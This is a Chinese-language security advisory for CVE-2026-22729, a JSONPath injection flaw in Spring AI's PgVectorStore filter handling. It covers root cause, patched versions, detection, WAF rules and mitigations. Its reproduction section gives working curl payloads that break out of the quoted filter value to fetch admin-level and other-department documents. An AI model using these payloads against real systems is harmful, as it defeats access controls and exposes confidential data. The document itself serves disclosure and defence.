Spring AI CVE-2026-22729
Spring AI PgVectorStore JSONPath 注入漏洞 (CVE-2026-22729)
漏洞概览
| 字段 | 值 |
|---|---|
| CVE 编号 | CVE-2026-22729 |
| GHSA 编号 | GHSA-rp9g-qx29-88cp |
| 漏洞类型 | JSONPath 注入 (CWE-917) |
| 危害等级 | 高危 (CVSS 8.6) |
| 披露日期 | 2026 年 3 月 17 日 |
| 发现者 | SecureLayer7 Blackf0g 团队 (Sandeep Kamble, BugDazz Autonomous Pentest AI) |
受影响版本
| 产品 | 受影响版本范围 |
|---|---|
| Spring AI | 1.0.0 - 1.0.3 |
| Spring AI | 1.1.0 - 1.1.2 |
漏洞描述
Spring AI 是 Spring 生态系统中用于构建 AI 应用的框架,提供了向量存储(Vector Store)抽象层,支持与多种向量数据库(如 PostgreSQL pgvector、Oracle、MariaDB 等)集成,广泛用于 RAG(检索增强生成)场景中的文档检索和相似性搜索。
Spring AI 的 AbstractFilterExpressionConverter 类在处理 FilterExpressionBuilder 生成的过滤表达式时,存在 JSONPath 注入漏洞。该类的 doSingleValue 方法(位于第 149 行)使用 String.format(“”%s"", value) 将用户控制的字符串值直接拼接到 JSONPath 查询中,未对双引号、管道符(||)、逻辑运算符(&&)等特殊字符进行转义。攻击者可通过构造包含恶意 JSONPath 语法的 filter 参数值,绕过基于元数据的访问控制机制(如多租户隔离、角色权限过滤),检索到未授权的敏感文档数据。该漏洞影响所有继承 AbstractFilterExpressionConverter 且未重写 doSingleValue 方法的适配器,包括 PgVectorStore 和 Oracle 向量存储。
修复方案
升级至以下修复版本:
- Spring AI 1.0.4(适用于 1.0.x 分支)
- Spring AI 1.1.3(适用于 1.1.x 分支)
- Spring AI 2.0.0-M3(最新里程碑版本)
Maven 项目升级命令:
1 | <!-- 方式一:直接指定版本 --> |
或通过 BOM 管理:
1 | <dependencyManagement> |
执行更新:
1 | mvn clean install |
Gradle 项目升级:
1 | implementation 'org.springframework.ai:spring-ai-vector-store:1.0.4' |
1 | gradle clean build |
参考链接:
| 类型 | 链接 |
|---|---|
| Spring 官方安全公告 | https://spring.io/security/cve-2026-22729 |
| GitHub Advisory | https://github.com/advisories/GHSA-rp9g-qx29-88cp |
| 修复 Commit | https://github.com/spring-projects/spring-ai/commit/4602c23 |
| Maven Central 1.0.4 | https://central.sonatype.com/artifact/group.springframework.ai/spring-ai/1.0.4 |
| Maven Central 1.1.3 | https://central.sonatype.com/artifact/group.springframework.ai/spring-ai/1.1.3 |
| GitHub Release v1.0.4 | https://github.com/spring-projects/spring-ai/releases/tag/v1.0.4 |
| GitHub Release v1.1.3 | https://github.com/spring-projects/spring-ai/releases/tag/v1.1.3 |
漏洞分析
攻击路径: 应用程序通过 HTTP API(如 /api/docs、/api/search)暴露向量检索接口,攻击者将恶意 payload 注入到 filter 表达式的参数值中(如 accessLevel、department)。该值经过 FilterExpressionBuilder.eq() 方法构建为过滤表达式,再由 AbstractFilterExpressionConverter.doSingleValue() 转换为 JSONPath 字符串。由于未转义特殊字符,恶意 JSONPath 语法被注入到最终的 PostgreSQL 查询中。
适用操作系统: 跨平台(Linux / Windows / macOS,依赖 PostgreSQL pgvector 扩展)
是否需要出站连接: 否
攻击配合方式: 无需配合(攻击者只需向公开的向量检索 API 发送特制 HTTP 请求,无需用户交互或社会工程配合)
漏洞位置: org.springframework.ai.vectorstore.filter.converter.AbstractFilterExpressionConverter 类的 doSingleValue 方法(第 149 行),影响 PgVectorFilterExpressionConverter 和 OracleFilterExpressionConverter 等未重写该方法的子类
根本原因: doSingleValue 方法使用 String.format("\"%s\"", value) 将用户输入直接包裹在双引号中,未调用 Jackson 的 ObjectMapper.writeValueAsString() 进行 JSON 转义。当输入包含 " 字符时,JSONPath 字符串提前闭合,后续内容被解析为 JSONPath 操作符(如 || 逻辑或、&& 逻辑与),导致查询语义被篡改。
漏洞代码(修复前):
1 | // AbstractFilterExpressionConverter.java, line 149 |
修复后代码(commit 4602c23):
1 | protected static void emitJsonValue(Object value, StringBuilder context) { |
漏洞复现
目标版本: Spring AI 1.0.3 + PostgreSQL 16 + pgvector 扩展
环境搭建:
- 安装 PostgreSQL 并启用 pgvector 扩展:
1 | CREATE EXTENSION vector; |
- 创建 Spring Boot 应用,配置 PgVectorStore:
1 |
|
- 插入测试数据:
1 | INSERT INTO documents (id, content, metadata) VALUES |
复现步骤:
步骤 1:正常请求(用户级别,应返回 1 条 user 文档)
1 | curl "http://localhost:8080/api/docs?accessLevel=user" |
预期响应:
1 | [ |
步骤 2:注入攻击(绕过访问控制,获取 admin 文档)
1 | curl 'http://localhost:8080/api/docs?accessLevel=%22%20%7C%7C%20%24.accessLevel%20%3D%3D%20%22admin' |
URL 解码后的 payload:" || $.accessLevel == "admin
生成的恶意 JSONPath:
1 | $.accessLevel == "" || $.accessLevel == "admin" |
最终 SQL 查询:
1 | SELECT * FROM documents |
实际响应(攻击成功,返回 3 条 admin 文档):
1 | [ |
步骤 3:跨部门数据窃取(HR 用户窃取 Finance 数据)
1 | curl 'http://localhost:8080/api/search?query=budget&department=%22%20%7C%7C%20%24.department%20%3D%3D%20%22Finance' |
URL 解码后的 payload:" || $.department == "Finance
实际响应:
1 | [ |
成功标识: 普通 user 角色成功获取了 admin 角色的敏感文档,HR 部门用户成功获取了 Finance 部门的机密数据,访问控制完全失效。
PostgreSQL 直接验证(不依赖 Spring 应用):
1 | -- 正常查询(返回 1 条 HR 文档) |
攻击调查
日志检查:
检查 Spring Boot 应用日志,搜索包含 JSONPath 注入特征的请求:
1 | # 检查 accessLevel 参数中的注入特征 |
检查 PostgreSQL 日志,搜索包含 JSONPath 注入的查询:
1 | # PostgreSQL 日志路径(通常为) |
流量检查:
使用 Zeek/Suricata 检测 JSONPath 注入流量:
1 | # Zeek 脚本:检测 JSONPath 注入特征 |
Wireshark 过滤器:
1 | http.request.uri contains "%22%20%7C%7C%20%24" || http.request.uri contains "%22%20%26%26%20%24" |
后利用痕迹检查:
1 | # 检查是否有异常的数据访问模式 |
自检方法
版本检查:
检查当前项目中 Spring AI 的版本:
1 | # Maven 项目 |
如果版本号低于 1.0.4(1.0.x 分支)或 1.1.3(1.1.x 分支),则存在漏洞。
代码审计:
检查是否使用了 FilterExpressionBuilder 并将用户输入直接传入:
1 | # 搜索潜在漏洞代码 |
PoC 验证(安全测试):
在测试环境中,向向量检索接口发送以下请求:
1 | # 安全测试 payload(不会造成实际破坏,仅验证漏洞存在) |
如果返回结果数量多于预期(或返回了其他角色的数据),则漏洞存在。
依赖扫描:
使用 OWASP Dependency-Check 或 Snyk 进行自动化扫描:
1 | # OWASP Dependency-Check |
临时缓解措施
注意: 以下措施仅作为升级前的临时缓解方案,根本解决方案仍需升级至修复版本。
1. 输入验证与白名单(应用层):
在 Controller 层对 filter 参数进行严格白名单校验:
1 |
|
2. WAF 规则(网络层):
在 Nginx/WAF 中添加规则拦截 JSONPath 注入特征:
1 | # Nginx 规则 |
ModSecurity 规则:
1 | SecRule ARGS "@rx %(22).*%(7C){2}|%(22).*%(26){2}" \ |
3. 网络访问控制(基础设施层):
限制向量检索 API 仅对内部可信网络开放:
1 | # iptables 规则:仅允许内网访问 API |
4. 数据库层权限最小化:
确保应用程序数据库账户仅具有必要的 SELECT 权限:
1 | -- 创建只读角色 |
5. 日志监控增强:
启用详细的应用日志记录,监控异常的 filter 表达式:
1 | # application.yml |
配置告警规则:
1 | # 监控 JSONPath 注入特征的告警脚本 |
相关漏洞
| CVE | 描述 |
|---|---|
| CVE-2026-22730 | Spring AI MariaDBFilterExpressionConverter SQL 注入漏洞(同一 commit 4602c23 修复) |
参考资料
- Spring 官方安全公告: https://spring.io/security/cve-2026-22729
- GitHub Advisory (GHSA-rp9g-qx29-88cp): https://github.com/advisories/GHSA-rp9g-qx29-88cp
- NVD 数据库: https://nvd.nist.gov/vuln/detail/CVE-2026-22729
- SecureLayer7 技术分析: https://blog.securelayer7.net/cve-2026-22729-jsonpath-injection-spring-ai-pgvectorstore/
- Spring AI 发布公告: https://spring.io/blog/2026/03/17/spring-ai-2-0-0-M3-and-1-1-3-and-1-0-4-available
- GitHub 修复 Commit: https://github.com/spring-projects/spring-ai/commit/4602c23




